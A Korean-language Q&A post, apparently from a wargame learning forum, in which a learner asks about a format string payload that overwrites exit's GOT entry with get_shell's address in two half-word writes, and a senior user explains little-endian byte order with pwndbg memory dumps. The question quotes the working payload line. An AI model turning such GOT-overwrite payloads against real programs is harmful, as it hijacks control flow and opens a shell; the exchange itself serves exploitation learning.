exit+2 에 대한 질문
exit = e.got['exit']
payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'
- exit 크기가 크기 때문에 둘로 나누어야 한다고 하는데, 왜 안되는지 잘 와닿지 않습니다.
- 파이썬에서 exit+2 이 0x08048609 의 0x0804 앞부분을 가리키는지 잘 이해가 안됩니다.
#pwnable
작성자 정보
답변
1
z3rodae0
시니어
- 질문자분께서 정확히 무엇이 안되는지가 명확하지 않아서 답변이 어렵습니다.
- get_shell의 주소인 0x08048609를 exit_got에 덮어쓸 때 exit_got + 2에 해당하는 부분이 0x0804인 이유는 주소값이 리틀엔디안으로 저장되기때문입니다. 즉, exit_got + 2는 get_shell의 상위 2바이트가 저장되어야합니다. 즉, gdb로 출력되는 다음과 같습니다.
pwndbg> x/wx 0x804a024
0x804a024 <exit@got.plt>: 0x08048476
pwndbg> p get_shell
$2 = {<text variable, no debug info>} 0x8048609 <get_shell>
pwndbg> set {int}0x804a024 = 0x8048609
pwndbg> x/wx 0x804a024
0x804a024 <exit@got.plt>: 0x08048609
pwndbg> x/4bx 0x804a024
0x804a024 <exit@got.plt>: 0x09 0x86 0x04 0x08
pwndbg> x/2bx 0x804a024 + 2
0x804a026 <exit@got.plt+2>: 0x04 0x08
got 주소에다가 get_shell 함수의 주소를 저장시켰을때 got + 2에는 0x04 0x08이 위치하게 됩니다.